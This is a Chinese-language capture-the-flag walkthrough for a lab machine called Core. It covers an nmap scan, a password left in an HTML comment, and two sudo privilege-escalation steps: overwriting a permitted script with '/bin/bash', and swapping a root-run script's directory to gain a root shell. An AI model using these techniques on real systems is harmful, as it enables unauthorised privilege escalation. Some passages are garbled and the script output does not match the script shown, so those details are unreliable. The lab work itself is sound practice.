

Core

端口扫描

nmap

```
1  └─(lily2663@LAPTOP-L8P806AH)-[~]
2  └─$ nmap -A 192.168.1.29
3  Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-12 14:08 +0800
4  Nmap scan report for 192.168.1.29
5  Host is up (0.0015s latency).
6  Not shown: 998 closed tcp ports (reset)
7  PORT      STATE SERVICE VERSION
8  22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
9  80/tcp    open  http     Apache httpd 2.4.67 ((Unix))
10 |_http-server-header: Apache/2.4.67 (Unix)
11 |_http-methods:
12 |_ Potentially risky methods: TRACE
13 |_http-title: MazeSec
   \xE9\x9D\xB6\xE6\x9C\xBA\xE6\xB5\x8B\xE8\xAF\x95\xE5\x9B\xA2\xE9\x98\x9F\xE
   2\x80\x94\xE5\xB9\x95\xE5\x90\xE8\xE8\x8B\xB1\xE9\x9B\x84
14 No exact OS matches for host (If you know what OS is running on it, see
   https://nmap.org/submit/ ).
15 TCP/IP fingerprint:
16 OS:SCAN(V=7.99E=4%D=8/12%OT=22%CT=1%CU=34975%PV=Y%DS=2%DC=T%G=Y%TM=6A7C0DF
17 OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=20)SE
18 OS:Q(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=104%GCD=1%ISR=107%TI=
19 OS:Z%CI=Z%TS=21)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%TS=21)SEQ(SP=106%GCD=1%I
20 OS:SR=109%TI=Z%CI=Z%II=I%TS=22)OPS(O1=M5B4ST11NW9%O2=M5B4ST11NW9%O3=M5B4NNT
21 OS:11NW9%O4=M5B4ST11NW9%O5=M5B4ST11NW9%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=F
22 OS:E88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW9%CC=Y%Q
23 OS:)=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%
24 OS:W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=
25 OS:)=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=
26 OS:S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RU
27 OS:CK=883B%RUD=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=88
28 OS:55%RUD=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=8861%RU
29 OS:D=G)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=887B%RUD=G)U
30 OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=8885%RUD=G)IE(R=Y
31 OS:%DFI=N%T=40%CD=S)
32
33 Network Distance: 2 hops
34
35 TRACEROUTE (using port 80/tcp)
36 HOP RTT      ADDRESS
37 1    0.23 ms  LAPTOP-L8P806AH.mshome.net (172.22.64.1)
38 2    3.12 ms  192.168.1.29
39
40 OS and Service detection performed. Please report any incorrect results at
   https://nmap.org/submit/ .
41 Nmap done: 1 IP address (1 host up) scanned in 19.64 seconds
```

USERFLAG

80源码发现:

```
1 | <!-- WJB CDJ1k36gYWKS9Gjks -->
```

这个就是对应用户的密码:

```
1 | _____| | _____ _
2 | \ \ / / _ \ | / _ \ | ' _ \ / _ \
3 | \ v v / _/ | ( _ ( ) | | | | | _/
4 |  \ / \  \ _ | | \ _ \ _/ | | | | \ _ |
5 |
6 | 11104567@Core:~$ ls
7 | 12138.sh user.txt
8 | 11104567@Core:~$ cat user.txt
9 | flag{user-10ccf8c4b05e437def737342f1d9b33f}
10 | 11104567@Core:~$
11 |
```

ROOTFLAG

```
1 | 11104567@Core:~$ cat 12138.sh
2 | #!/bin/bash
3 | echo "=== $(id) ==="
4 | ls -la /home/111/
5 | ls -la /home/111/111/
6 | stat /home/111/111 /home/111/111/111.sh 2>&1
7 | echo "--- content ---"
8 | cat /home/111/111/111.sh 2>&1
9 | echo "--- writable test ---"
10 | touch /home/111/111/test_write 2>&1 && echo WRITABLE_DIR && rm -f
    /home/111/111/test_write
11 | test -w /home/111/111/111.sh && echo FILE_WRITABLE || echo
    FILE_NOT_WRITABLE
12 | test -o /home/111/111/111.sh && echo FILE_OWNED_BY_111 || echo
    FILE_NOT_OWNED
13 | 11104567@Core:~$
```

直接运行

```
1 | 11104567@Core:~$ ./12138.sh
2 | === uid=1000(11104567) gid=1000(11104567) groups=1000(11104567) ===
3 | ls: /home/111/111/: Permission denied
4 | /home/111/:
5 | ls: can't open '/home/111/': Permission denied
6 | total 0
7 | --- .ssh ---
8 | ls: /home/111/.ssh: Permission denied
9 | cat: can't open '/home/111/.ssh/*': Permission denied
```

```

10 --- mysql dir ---
11 ls: can't open '/var/lib/mysql/': Permission denied
12 total 0
13 --- getcap as 111 ---
14 --- suid as 111 ---
15 /bin/umount
16 /bin/bbsuid
17 /bin/mount
18 /usr/bin/expiry
19 /usr/bin/chsh
20 /usr/bin/chage
21 /usr/bin/passwd
22 /usr/bin/gpasswd
23 /usr/bin/sudo
24 /usr/bin/chfn
25 --- sudo -l -U root ---
26 Sorry, user 11104567 is not allowed to execute 'list' as root on Core.
27 --- sudo -l -U 11104567 ---
28 Matching Defaults entries for 11104567 on Core:
29
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
    bin
30
31 Runas and Command-specific defaults for 11104567:
32 Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
33
34 User 11104567 may run the following commands on Core:
35 (111) NOPASSWD: /home/11104567/12138.sh
36 11104567@Core:~$

```

发现

```

1 User 11104567 may run the following commands on Core:
2 (111) NOPASSWD: /home/11104567/12138.sh //允许111免密使用

```

可以写，直接改，然后111身份执行脚本

```

1 11104567@Core:~$ echo '/bin/bash' > /home/11104567/12138.sh
2 11104567@Core:~$ sudo -u 111 /home/11104567/12138.sh
3 111@Core:/home/11104567$

```

进入111了

```

1 111@Core:~/111$ ls -la
2 total 12
3 drwxr-xr-x  2 root    root      4096 Aug 11 16:06 .
4 drwx-----  3 111    111      4096 Aug 11 15:42 ..
5 -rwxr-xr-x  1 root    root       99 Aug 11 16:06 111.sh

```

发现不可以直接改了，

搜集信息看

```
1 111@Core:~/111$ sudo -l
2 Matching Defaults entries for 111 on Core:
3
4     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
5
6 Runas and Command-specific defaults for 111:
7     Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
8
9 User 111 may run the following commands on Core:
10     (ALL : ALL) NOPASSWD: /home/111/111/111.sh
```

111可免密执行/home/111/111/111.sh

```
1 mv /home/111/111 /home/111/111_2
```

重命名这个目录的父目录，然后自己建一个同名的目录，新建提权脚本：

```
1 111@Core:~/111$ echo '/bin/bash' >> /home/111/111/111.sh
2 111@Core:~/111$ chmod +x /home/111/111/111.sh
3 111@Core:~/111$ sudo /home/111/111/111.sh
```

root, 拿到flag

```
1 root@Core:~# cat root.txt
2 flag{root-dfb18999777ea8a3177050c859c98c04}
```

总结

靶机简单考察了权限管理不当，体现在其信任目录范围过大和关键脚本权限分配失误。